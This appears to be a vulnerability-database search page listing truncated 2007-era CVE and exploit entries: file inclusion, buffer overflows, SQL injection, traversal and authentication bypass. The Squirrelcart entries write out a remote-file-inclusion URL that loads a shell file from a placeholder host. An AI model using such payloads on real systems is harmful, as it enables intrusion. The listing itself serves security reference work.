6972 matches found
CVE-2007-5062
account.php in Adam Scheinberg Flip 3.0 and earlier allows remote attackers to create administrative accounts via the un parameter in a register action...
squirrelcart-rfi.txt
Title : Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals = off is needed it seems...
Squirrelcart <= 1.x.x (cart.php) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals =...
racer-overflow.txt
!/usr/bin/perl Credit's to n00b. Racer v0.5.3 beta 5 12-03-07 remote exploit. Racer is also prone to a buffer over flow in the server and client.Automatically the game open's Udp port 26000 and is waiting for a msg buffer. If we send an overly long buffer we are able to Control the eip register a...
Remote file inclusion
PHP remote file inclusion vulnerability in data/inc/theme.php in Pluck 4.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter. NOTE: A reliable third party disputes this vulnerability because the applicable include is within a...
PT-2007-5376 · Pluck · Pluck
Name of the Vulnerable Software and Affected Versions: Pluck version 4.3 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter when register globals is enabled. However, a reliable third party disputes this vulnerability, stating that the...
PT-2007-5375 · Pluck · Pluck
Name of the Vulnerable Software and Affected Versions: Pluck version 4.3 Description: The issue allows remote attackers to potentially read arbitrary local files via a .. dot dot in the file parameter in the data/inc/theme.php file when register globals is enabled. However, it's noted that the co...
PT-2007-5329 · Rig · Ralf Image Gallery
Name of the Vulnerable Software and Affected Versions: Ralf Image Gallery RIG version 1.0 Description: A remote file inclusion issue exists, allowing remote attackers to execute arbitrary PHP code via a URL in the dir abs src parameter in the check entry.php file. However, it is reported that the...
PHP php_gd2.dll imagepsloadfont Local Buffer Overflow PoC
No description provided by source. ?php / PHP imagepsloadfont Buffer Overflow Vulnerability Discovered Coded by: r0ut3r writ3r at gmail.com Vulnerable dll: phpgd2.dll - Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4 The argument given was A 9999 Access violation when reading 41414151...
Pictures Rating - index.php?msgid SQL Injection
Pictures Rating - index.php?msgid SQL Injection --==+================================================================================+==-- --==+ Pictures Rating SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR:...
Multiple applications security vulnerabilities
Mozilla Firefox pop-ups DoS, Microsoft Register Server DoS, FreeWRL ActiveX memory corruption, Nonnoi ASP Barcode files overwrite, Eltima Software VSPAX DoS, Media Player Classic memory corruption, Eltima Software RunService AX DoS, Symantec Norton Ghost ActiveX DoS and code execution,...
CVE-2007-3658
Unspecified vulnerability in Microsoft Register Server REGSVR allows attackers to cause a denial of service via a crafted DLL library...
Code injection
Unspecified vulnerability in Microsoft Register Server REGSVR allows attackers to cause a denial of service via a crafted DLL library...
CVE-2007-3658
Technical details (affected products, components, root cause, versions, or remediation) are not provided in the supplied documents. Monitor for updates from official sources.
CVE-2007-3658
Unspecified vulnerability in Microsoft Register Server REGSVR allows attackers to cause a denial of service via a crafted DLL library...
security flaw
The signal handling in the Linux kernel before 2.6.22, including 2.6.2, when running on PowerPC systems using HTX, allows local users to cause a denial of service via unspecified vectors involving floating point corruption and concurrency, related to clearing of MSR bits...
Directory traversal
Directory traversal vulnerability in index.php in MiniBB 2.0.5 allows remote attackers to read arbitrary files via a .. dot dot in the language parameter in a register action...
CVE-2007-3272
CVE-2007-3272 affects MiniBB 2.0.5. The vulnerability is a directory traversal in index.php where an attacker can read arbitrary files by manipulating the language parameter in a register action (via ..). Documents do not provide exploitation steps, affected versions beyond 2.0.5, or explicit rem...
Acoustica MP3 CD Burner 4.32 - Local Buffer Overflow (PoC)
Acoustica MP3 CD Burner 4.32 - Local Buffer Overflow PoC / Credit's to n00b for finding this bug and poc.. Acoustica MP3 CD Burner 4.32 local buffer-overflow poc code. Date : May 31'st 2007 Tested:On win xp sp 2. Acoustica Is prone to a buffer-overflow when parasing a .asx playlist file If you ca...
TutorialCMS <= 1.01 Authentication Bypass Vulnerability
No description provided by source. TutorialCMS = 1.01 Authentication Bypass Discovered by: Silentz Payload: Authentication Bypass Website: http://www.w4ck1ng.com Vulnerability: Variables $loggedIn & $activated are not predefined. Vulnerable Files: login.php headerLinks.php submit1.php myFav.php...